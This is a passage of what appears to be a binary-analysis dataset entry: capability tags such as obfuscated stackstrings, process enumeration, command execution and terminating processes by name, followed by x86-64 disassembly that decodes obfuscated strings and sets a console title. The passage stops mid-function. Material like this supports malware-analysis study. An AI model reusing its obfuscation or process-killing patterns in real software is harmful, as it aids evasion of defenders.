Function at 0x14008e920
Capabilities:
Contain obfuscated stackstrings
Create thread
Enumerate processes
Execute command
Parse pe header
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x1401ec280]
xor rax, rsp
mov qword [rbp + 0x500], rax
lea rcx, [0x1401ecf50]
call fcn.1400aac90
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0x250], 0
lea rdx, [rbp + 0x250]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x250]
or edx, 4
mov dword [rbp + 0x250], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rbp + 0x30], 0xc399c1a0
mov dword [rbp + 0x34], 0xc7b8c5b8
mov dword [rbp + 0x38], 0xcbaac995
mov dword [rbp + 0x3c], 0xcf6bcd9e
mov dword [rbp + 0x40], 0xd377d166
mov dword [rbp + 0x44], 0xd765d566
mov dword [rbp + 0x48], 0xdbbad97d
mov dword [rbp + 0x4c], 0xdf6cdd8c
mov dword [rbp + 0x50], 0x23942189
mov dword [rbp + 0x54], 0x27922585
mov dword [rbp + 0x58], 0x2b4a298d
mov dword [rbp + 0x5c], 0x2f9b2d6e
mov dword [rbp + 0x60], 0x339e3199
mov dword [rbp + 0x64], 0x37563590
mov dword [rbp + 0x68], 0x3b5a3984
mov dword [rbp + 0x6c], 0x3f973d98
mov dword [rbp + 0x70], 0x3a101b3
mov dword [rbp + 0x74], 0x7b405ab
mov dword [rbp + 0x78], 0xb6409ac
mov dword [rbp + 0x7c], 0xfa90dab
mov dword [rbp + 0x80], 0x13ba117f
mov dword [rbp + 0x84], 0x17bf15a3
mov dword [rbp + 0x88], 0x1bad19bc
mov dword [rbp + 0x8c], 0x1fb11db3
mov dword [rbp + 0x90], 0x63c761c6
mov dword [rbp + 0x94], 0x676665d6
xor eax, eax
mov qword [rbp + 0x98], rax
mov dword [rbp + 0xa0], eax
mov word [rbp + 0xa4], ax
movabs r13, 0xaebc68fab60b75e0
movabs r14, 0x55749c90eef0ab60
movabs r15, 0xe04d0020d83900a0
movabs r12, 0x82d42e2b6c2214e0
movzx edi, byte [rsp + 0x40]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x76
jae 0x14008f5c0
movzx r9d, byte [rbp + rsi + 0x30]
movzx r10d, r9b
cmp rbx, rsi
ja 0x14008f5b7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008eb02
lea rcx, [rsi + r13]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x20
jmp 0x14008eb2f
je 0x14008f540
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f4bf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008f46c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f449
movzx r10d, r9b
cmp r8, rsi
ja 0x14008f5ae
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14008eb64
lea rdx, [rsi + r14]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14008eba0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008f3ff
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f2a9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008f2d2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f2f9
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x14008f195
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008f183
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f15b
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008f132
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f10c
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008f0e6
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008f0c7
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008f0a1
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008f07b
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008f047
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14008ebb0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008f591
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008f571
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008ed96
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008ed77
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008ed58
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008efeb
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008ef9a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008ef4b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008ef20
lea rbx, [r8 + 5]
lea r8, [rbx + 0x400]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008eef3
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008eecd
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008eea7
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008ee81
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008ee62
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008ee3c
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008ee13
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008ede4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008edbe
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008ebb0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x2a]
jmp 0x14008ebb0
lea rdx, [rsi + r15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
add dil, dl
jmp 0x14008eba0
lea rdx, [rsi + r12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14008eb33
movabs rdx, 0x255b5c36000b2920
add rdx, rsi
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14008ead6
movabs rcx, 0xaba4e48777855b00
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
add dil, cl
movzx r11d, sil
jmp 0x14008f41d
movabs rcx, 0x4e2c12920b6e6f40
add rcx, rsi
and r9b, cl
mov eax, 0x20
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
inc r8
dec rsi
inc rsi
jmp 0x14008eac2
movabs rax, 0xf0b3409c9f578380
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
add dil, 0x80
dec rsi
inc rsi
jmp 0x14008eac2
movabs rcx, 0x933a6ea7334097c0
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
sub dil, 0x40
add dil, cl
jmp 0x14008f489
movabs rax, 0x35c19cb1c729ac00
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
jmp 0x14008f4a3
movabs rcx, 0xd848cabc5b12c040
add rcx, rsi
and r9b, cl
mov eax, 0x20
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
jmp 0x14008f4a6
movabs rcx, 0x7acff8c6eefbd480
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
add dil, 0x80
add dil, cl
jmp 0x14008f4e0
movabs rcx, 0x1d5726d182e4e8c0
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
sub dil, 0x40
add dil, cl
jmp 0x14008f503
movabs rax, 0xbfde54dc16cdfd00
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
movzx eax, byte [rbp + rsi + 0x30]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14008eac2
movabs rax, 0x563047f68894afa0
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
sub dil, 0x60
mov byte [rbp + rsi + 0x30], dil
inc rsi
jmp 0x14008eac2
movabs rcx, 0xf8b776011c7dc3e0
add rcx, rsi
movzx eax, r9b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
cmp r8, 0x3e8
jb 0x14008ef3e
movzx r11d, sil
lea ecx, [r11 + 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 + 0x80]
movzx r10d, r9b
jmp 0x14008f41d
movabs rdx, 0x9b3ea40bb066d820
add rdx, rsi
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 0x28
jae 0x14008f3d2
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14008f317
lea ecx, [rsi - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14008ef6b
movabs rdx, 0x3dc5d216444fec60
add rdx, rsi
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14008f3ea
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14008f286
lea edx, [rsi + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008efbd
movabs rcx, 0xbbab6599a40440
add rcx, rsi
and r9b, cl
mov eax, 0x20
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + rsi + 0x30]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14008eac2
movabs rcx, 0xa342d9702d8d1880
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
add dil, 0x80
add dil, cl
jmp 0x14008f503
movabs rcx, 0x45ca077ac1762cc0
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
sub dil, 0x40
add dil, cl
jmp 0x14008f4e0
movabs rax, 0xe8513585555f4100
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
jmp 0x14008f4a6
movabs rcx, 0x8ad8638fe9485540
add rcx, rsi
and r9b, cl
mov eax, 0x20
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
jmp 0x14008f4a3
movabs rcx, 0x2d5f919a7d316980
add rcx, rsi
and r9b, cl
add r9b, r9b
movzx edi, r10b
sub dil, r9b
add dil, 0x80
add dil, cl
jmp 0x14008f489
movabs rax, 0xcfe6bfa5111a7dc0
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
sub dil, 0x40
dec rsi
inc rsi
jmp 0x14008eac2
movabs rax, 0x726dedafa5039200
add rax, rsi
and r9b, al
add r9b, r9b
sub r10b, r9b
lea edi, [rax + r10]
inc r8
dec rsi
inc rsi
jmp 0x14008eac2
movzx r11d, sil
lea edx, [r11 + 0x40]
mov ecx, 0x20
jmp 0x14008f40c
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14008f1bb
lea ecx, [rsi - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14008f00e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f1ec
lea ecx, [rsi - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + rsi + 0x30]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14008eac2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f213
lea edx, [rsi + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f4e0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f234
movzx ecx, sil
and cl, r9b
add cl, cl
movzx edi, sil
sub dil, cl
add dil, r9b
jmp 0x14008f4a6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f25a
lea ecx, [rsi + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008f489
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008f00e
movzx r11d, sil
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14008f41d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008f3ff
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f449
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f2c9
lea ecx, [rsi - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec rsi
inc rsi
jmp 0x14008eac2
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008f2ec
lea ecx, [rsi - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14008f4e0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008efbd
lea edx, [rsi + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f503
jne 0x14008f344
lea ecx, [rsi + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + rsi + 0x30]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14008eac2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f36b
lea edx, [rsi + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008f503
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f38c
movzx ecx, sil
and cl, r9b
add cl, cl
movzx edi, sil
sub dil, cl
add dil, r9b
jmp 0x14008f4e0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008f3a2
lea edx, [rsi + 0x40]
mov ecx, 0x20
jmp 0x14008f478
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008ef6b
lea ecx, [rsi - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
inc r8
dec rsi
inc rsi
jmp 0x14008eac2
movzx eax, sil
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
add dil, sil
jmp 0x14008f486
lea ecx, [rsi - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x40]
jmp 0x14008f4e0
movzx r11d, sil
mov ecx, reloc.WS2_32.dll_recv
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rsi + 0x30], cl
inc r8
dec rsi
inc rsi
jmp 0x14008eac2
lea ecx, [rsi - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec rsi
inc rsi
jmp 0x14008eac2
lea edx, [rsi + 0x60]
mov ecx, 0x30
movzx r10d, r9b
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea ecx, [rsi - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x20
add cl, r10b
add cl, dil
mov byte [rbp + rsi + 0x30], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008eac2
movabs rax, 0xc726dedafa503920
add rax, rsi
and r9b, al
mov ecx, reloc.WS2_32.dll_recv
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
lea ecx, [rsi - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x60
add cl, r10b
movzx eax, cl
mov byte [rbp + rsi + 0x30], al
inc r8
add rax, r8
sub rsi, rax
lea ecx, [rsi + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x80
add cl, r10b
mov byte [rbp + rsi + 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi + 0x30]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14008eac2
movabs rax, 0xc353af0222261a0
add rax, rsi
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r10 + rax]
sub dil, 0x60
movzx eax, byte [rbp + rsi + 0x30]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14008eac2
add sil, 0x60
movzx eax, sil
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
jmp 0x14008eac0
sub sil, 0x60
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x60
jmp 0x14008eab0
lea rcx, [rbp + 0x17332b0]
jmp 0x14008f5c4
lea rcx, [rbp + 0x17ea890]
jmp 0x14008f5c4
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0x1c0], 0x3dd9016a
mov dword [rbp + 0x1c4], 0xc92305d9
mov dword [rbp + 0x1c8], 0xbf8ccfc
mov dword [rbp + 0x1cc], 0xcacdc4c0
mov dword [rbp + 0x1d0], 0x9f7c2fe
mov word [rbp + 0x1d4], 0x5534
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d6], xmm0
movabs r14, 0x5f4e494bb3904ed0
movabs r15, 0x59c093a95012c550
movabs r13, 0x9b240111e8f227b0
movabs r12, 0x1deadbe31ab0ec70
movzx edi, byte [rsp + 0x40]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x26
jae 0x1400902e9
movzx r10d, byte [rbp + r11 + 0x1c0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400902e0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008f69c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x50
jmp 0x14008f6f0
je 0x140090271
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400901e4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400901b6
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140090197
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140090176
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009014e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140090104
movzx r9d, r11b
cmp r8, r11
ja 0x1400902d7
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14008f71e
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14008f780
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400900e8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400900c2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009007c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009005c
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140090041
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140090024
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008fff2
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14008fcc9
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008fcaa
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008fc8c
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008fc69
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x14008fd95
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008fc49
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008fc2c
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008fc0d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008fbf0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008fbbe
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008f790
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1400902ba
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x14009029d
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14008f978
lea rcx, [r8 + 0x20]
cmp rbx, rcx
jb 0x14008f95d
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008f93e
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008fb6d
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008fb28
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008fae7
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008fabf
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008f790
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14008fa90
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14008fa70
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14008fa55
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
ja 0x14008fa35
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008fa1d
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008fa02
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008f9dc
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008f9b6
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008f998
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008f790
mov rbx, rcx
lea r8, [rcx + 3]
jmp 0x14008f790
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008f780
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14008f6f4
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008f670
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14009011e
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x14008f653
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008f653
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140090096
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add rbx, r8
jmp 0x1400901cb
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400901cb
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140090200
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14009022e
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
mov byte [rbp + r11 + 0x1c0], dil
inc r11
jmp 0x14008f653
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x400
jb 0x14008fad7
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x40]
jmp 0x14009011e
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
cmp rbx, 0x28
jae 0x14008ffb8
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14008ff06
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14008fb01
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 5
je 0x14008ffd6
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14008fdfe
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008fb3e
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14009022e
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140090200
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400901cb
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
add rbx, r8
jmp 0x1400901cb
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x14008f653
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r11
inc r11
jmp 0x14008f653
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009011e
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14008fce6
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
jmp 0x14008fb7c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008fd21
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008f653
cmp rbx, rcx
jne 0x14008fd45
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140090200
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008fd63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x1400901cb
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008fd8c
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
add rbx, r8
jmp 0x1400901cb
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008fda3
lea edx, [r9 + 0x40]
mov ecx, 0x20
jmp 0x140090085
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008fdd2
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14008f653
lea rax, [r8 + 8]
cmp rbx, rax
